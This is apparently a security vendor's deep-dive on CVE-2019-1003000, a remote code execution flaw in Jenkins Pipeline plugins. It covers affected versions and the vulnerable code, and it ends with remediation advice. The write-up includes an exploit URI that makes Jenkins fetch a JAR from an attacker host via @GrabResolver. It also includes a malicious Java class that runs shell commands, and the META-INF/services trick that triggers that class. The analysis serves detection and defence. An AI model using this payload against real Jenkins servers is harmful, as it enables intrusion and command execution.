Deep Dive on Jenkins Pipeline Plugin Remote Code Execution

Alert Logic researchers routinely track the emergence and use of new exploits and vulnerabilities in the wild. This allows us to keep up with the latest exploit du jour of attackers and provide protection for our customers for their most critical threats. We recently announced that we had observed active exploitation of a Jenkins vulnerability (CVE-2019-1003000) as well as successful compromise of customers using this vector.

Overview of Jenkins Plugin Exploit

Jenkins Script Security plugin (versions 1.49 and earlier, bundled within Pipeline Workflow CPS up to 2.61), along with related vulnerabilities for Pipeline plugins Declarative (versions 1.3.4 or earlier) and Groovy (versions 2.61 or earlier), suffer from a security bypass condition allowing code execution of Java objects, both locally and remotely. Along with the mentioned vulnerable versions of plugins, the Apache Ivy library must be present, in remote attack scenarios, to enable outbound requests from the Jenkins server. Additionally, either ‘Read’ or ‘Overall’ permissions must be enabled for resource access and, for unauthenticated exploit success, ‘anonymous’ access must be enabled with no restriction on functionality to anonymous users. With these conditions, a username and password need not be supplied. To exploit the vulnerability, an attacker sends a request to a Jenkins instance, hitting the ‘checkScriptCompile’ resource, supplying a key:value URI parameter of “value=$x” where $x could be either a simple integer (for recon purposes) or a full remote code execution (RCE) attempt. In both cases, a fully successful response returns a simple JSON “success” message.

Jenkins Plugin RCE Attack Review

The mechanism of exploit allows a bypass condition in an otherwise ‘code sandbox’ execution environment. Utilizing an import function of a class, within the docheckScriptCompile function, causes compile-time execution of the imported class and, as such, a maliciously crafted class with nested OS commands will cause command execution on a vulnerable host. A remote attack requires the use of an abstraction library that, upon successful attack, causes an outbound request to an attacker-controlled host that provides a JAR archive containing the malicious class for fetch and subsequent import. One example, as used in the advisory article [R2] and with testing herein, is to use the Grab functionality provided within Apache Groovy, available within the overall Pipeline package. The crafted URI parameter causes Grab to define a remote endpoint and fetch the remote object defining the object by name, module, group (as organization within Java naming conventions) and version number; these values are used to define the outbound URI (thus remote directory) structure and filename with which the victim host requests the malicious remote object. A payload defining the following:

    http[://]victim/[FULL RESOURCE PATH]/checkScriptCompile?value= @GrabConfig(disableChecksums=true)%0a@GrabResolver(name='tester', root='http[://]1[.]1[.]1[.]1:5555')%0a @Grab(group='tester', module='tester', version='1')%0a 
import Blah;"

Will cause the subsequent outbound request URI structure from a vulnerable Jenkins host:

    GET /tester/tester/1/tester-1.jar 

Host: 1[.]1[.]1[.]1:5555

In this scenario, the vulnerable host would, upon receipt of the JAR object, attempt to extract and import the class “Blah” at compile-time. In order to cause execution, a Constructor must be called on the class. By utilizing built-in functionality for processing JAR objects (highlighted in the code review section), a Constructor can be called by adding the named class to a file specifying named services to be processed, which calls newInstance() on the named class upon processing. An example malicious class could be:

    'public class Blah {
public Blah (){

try {
String payload = "echo compromised >> /tmp/compromise"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds);

} catch (Exception e) { }
}
}

If successful, the above command to pipe to file, or indeed any malicious OS command, could be executed on a victim host.

Code Review

The original issue lies with unvalidated input being passed from a request parameter object to the subroutine parseClass(), as below:

    [From src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java, Line 132] 
public JSON doCheckScriptCompile(@QueryParameter String value) { try {

CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();

new
CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(val ue);
} catch (CompilationFailedException x) { return

JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray()); }

return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();

// Approval requirements are managed by regular stapler form validation (via doCheckScript)

}

The above alone would allow for a locally executed payload to succeed, provided that an appropriate abstraction library is leveraged to cause assertion of a malicious class. However, within a Jenkins Pipeline environment, the named malicious class is not available within the defined CLASSPATH and so arbitrary class names cannot be called. The @Grab annotation, available from the Grape library within Groovy, allows fetching and import of undefined classes at compile-time; with this functionality, the ‘sandbox’ of requiring named classes within CLASSPATH is bypassed. For execution to occur, as mentioned above, the malicious class must be instantiated from in-built functionality during the processing of JAR files by Grape, which occurs if the name is declared at the appropriate location as a Service and processed, calling a Constructor on the class:

    [From src/main/groovy/grape/GrapeIvy.groovy, Line 315] 

void processOtherServices(ClassLoader loader, File f) { try {

ZipFile zf = new ZipFile(f)

ZipEntry serializedCategoryMethods = zf.getEntry("META- INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")

if (serializedCategoryMethods != null) {

processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods)) }

ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")

if (pluginRunners != null) {

processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)

}

} catch(ZipException ignore) {

// ignore files we can't process, e.g. non-jar/zip artifacts

// TODO log a warning

}

}

...

[Line 338]

void processRunners(InputStream is, String name, ClassLoader loader) { is.text.readLines().each {

GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance() }

}

This causes the requirement in exploitation of a custom JAR containing both the malicious class and the archive structure “META-INF/services/” with the class name as a declared name within “org.codehaus.groovy.plugins.Runners”. At the time of writing, there is no assumption that this is the only mechanism by which to cause class instantiation; however, the URI resource as the targeted endpoint and the uniform success response is unchanging when attempting various types of payloads against a target host and so suggested signatures will reflect a wider scope allowing for potential variations within the mechanisms of attack described here.

Remediation

Generally, a deployment stack such as Jenkins should not be made publicly available to the internet, especially considering the sensitivity of the information and operation of such an environment. Where publicly facing endpoints are required, strict and timely patching policy will mitigate and reduce the time of vulnerable exposure to remote attacks. For this vulnerability, reduced permissions settings will compensate for a vulnerable host during the timeframe of a patching cycle, however this should neither be considered a fair nor reliable compensating control for future vulnerabilities given the importance of such a production stack and, further, Jenkins’ poor history with regard to critical vulnerabilities.